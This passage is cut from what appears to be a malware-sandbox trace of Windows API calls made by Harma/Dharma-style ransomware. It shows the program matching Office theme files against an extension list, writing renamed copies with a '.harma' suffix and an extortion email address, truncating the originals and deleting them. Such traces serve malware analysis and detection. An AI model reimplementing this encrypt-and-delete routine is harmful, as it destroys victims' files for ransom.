returned 1 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.812] lstrlenW (lpString=".doc") returned 4 [0060.812] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.812] lstrlenW (lpString=".docx") returned 5 [0060.812] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.812] lstrlenW (lpString=".pdf") returned 4 [0060.812] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.812] lstrlenW (lpString=".xls") returned 4 [0060.813] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.813] lstrlenW (lpString=".xlsx") returned 5 [0060.813] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.813] lstrlenW (lpString=".ppt") returned 4 [0060.813] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString=".zip") returned 4 [0060.813] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.813] lstrlenW (lpString=".rar") returned 4 [0060.813] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.813] lstrlenW (lpString=".bz2") returned 4 [0060.813] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.813] lstrlenW (lpString=".7z") returned 3 [0060.813] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString=".dbf") returned 4 [0060.813] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString=".1cd") returned 4 [0060.813] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString=".jpg") returned 4 [0060.813] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.813] lstrlenW (lpString=".doc") returned 4 [0060.813] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.813] lstrlenW (lpString=".docx") returned 5 [0060.813] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.813] lstrlenW (lpString=".pdf") returned 4 [0060.813] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.814] lstrlenW (lpString=".xls") returned 4 [0060.814] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.814] lstrlenW (lpString=".xlsx") returned 5 [0060.814] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.814] lstrlenW (lpString=".ppt") returned 4 [0060.814] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.814] lstrlenW (lpString=".zip") returned 4 [0060.814] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.814] lstrlenW (lpString=".rar") returned 4 [0060.814] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.814] lstrlenW (lpString=".bz2") returned 4 [0060.814] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.814] lstrlenW (lpString=".7z") returned 3 [0060.814] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.814] lstrlenW (lpString=".dbf") returned 4 [0060.814] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.814] lstrlenW (lpString=".1cd") returned 4 [0060.814] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0060.814] lstrlenW (lpString=".jpg") returned 4 [0060.814] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.814] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.814] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.815] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3611) returned 1 [0060.815] CloseHandle (hObject=0x164) returned 1 [0060.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0060.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.815] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.815] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.817] GetLastError () returned 0x0 [0060.817] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0060.819] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0060.820] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.820] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.820] SetEndOfFile (hFile=0x1d0) returned 1 [0060.820] CloseHandle (hObject=0x1d0) returned 1 [0060.820] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.820] SetEndOfFile (hFile=0x164) returned 1 [0060.821] CloseHandle (hObject=0x164) returned 1 [0060.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0060.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString=".doc") returned 4 [0060.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.822] lstrlenW (lpString=".docx") returned 5 [0060.822] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.822] lstrlenW (lpString=".pdf") returned 4 [0060.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.822] lstrlenW (lpString=".xls") returned 4 [0060.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.822] lstrlenW (lpString=".xlsx") returned 5 [0060.822] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.822] lstrlenW (lpString=".ppt") returned 4 [0060.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString=".zip") returned 4 [0060.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.822] lstrlenW (lpString=".rar") returned 4 [0060.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.822] lstrlenW (lpString=".bz2") returned 4 [0060.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.822] lstrlenW (lpString=".7z") returned 3 [0060.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString=".dbf") returned 4 [0060.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString=".1cd") returned 4 [0060.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.822] lstrlenW (lpString=".jpg") returned 4 [0060.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString=".doc") returned 4 [0060.823] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.823] lstrlenW (lpString=".docx") returned 5 [0060.823] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.823] lstrlenW (lpString=".pdf") returned 4 [0060.823] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString=".xls") returned 4 [0060.823] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString=".xlsx") returned 5 [0060.823] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.823] lstrlenW (lpString=".ppt") returned 4 [0060.823] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString=".zip") returned 4 [0060.823] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString=".rar") returned 4 [0060.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.823] lstrlenW (lpString=".bz2") returned 4 [0060.823] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.823] lstrlenW (lpString=".7z") returned 3 [0060.823] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString=".dbf") returned 4 [0060.823] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString=".1cd") returned 4 [0060.823] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0060.823] lstrlenW (lpString=".jpg") returned 4 [0060.823] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.824] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.824] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.824] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=34163) returned 1 [0060.824] CloseHandle (hObject=0x164) returned 1 [0060.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0060.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.824] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.825] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.825] GetLastError () returned 0x0 [0060.825] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x8573, lpOverlapped=0x0) returned 1 [0060.827] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0060.828] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.828] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.829] SetEndOfFile (hFile=0x1d0) returned 1 [0060.829] CloseHandle (hObject=0x1d0) returned 1 [0060.829] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.829] SetEndOfFile (hFile=0x164) returned 1 [0060.830] CloseHandle (hObject=0x164) returned 1 [0060.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0060.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.830] lstrlenW (lpString=".doc") returned 4 [0060.830] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.830] lstrlenW (lpString=".docx") returned 5 [0060.830] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.830] lstrlenW (lpString=".pdf") returned 4 [0060.830] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString=".xls") returned 4 [0060.831] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.831] lstrlenW (lpString=".xlsx") returned 5 [0060.831] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.831] lstrlenW (lpString=".ppt") returned 4 [0060.831] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString=".zip") returned 4 [0060.831] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.831] lstrlenW (lpString=".rar") returned 4 [0060.831] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.831] lstrlenW (lpString=".bz2") returned 4 [0060.831] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString=".7z") returned 3 [0060.831] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString=".dbf") returned 4 [0060.831] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString=".1cd") returned 4 [0060.831] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString=".jpg") returned 4 [0060.831] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.831] lstrlenW (lpString=".doc") returned 4 [0060.831] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.831] lstrlenW (lpString=".docx") returned 5 [0060.831] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.831] lstrlenW (lpString=".pdf") returned 4 [0060.832] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.832] lstrlenW (lpString=".xls") returned 4 [0060.832] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.832] lstrlenW (lpString=".xlsx") returned 5 [0060.832] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.832] lstrlenW (lpString=".ppt") returned 4 [0060.832] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.832] lstrlenW (lpString=".zip") returned 4 [0060.832] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.832] lstrlenW (lpString=".rar") returned 4 [0060.832] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.832] lstrlenW (lpString=".bz2") returned 4 [0060.832] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.832] lstrlenW (lpString=".7z") returned 3 [0060.832] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.832] lstrlenW (lpString=".dbf") returned 4 [0060.832] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.832] lstrlenW (lpString=".1cd") returned 4 [0060.832] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0060.832] lstrlenW (lpString=".jpg") returned 4 [0060.832] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.832] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.832] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.833] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=937) returned 1 [0060.833] CloseHandle (hObject=0x164) returned 1 [0060.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0060.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.833] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.833] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.835] GetLastError () returned 0x0 [0060.835] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0060.837] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0060.838] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.838] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.838] SetEndOfFile (hFile=0x1d0) returned 1 [0060.838] CloseHandle (hObject=0x1d0) returned 1 [0060.838] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.838] SetEndOfFile (hFile=0x164) returned 1 [0060.839] CloseHandle (hObject=0x164) returned 1 [0060.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.839] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0060.839] lstrlenW (lpString="C:\\Program Files\\Common 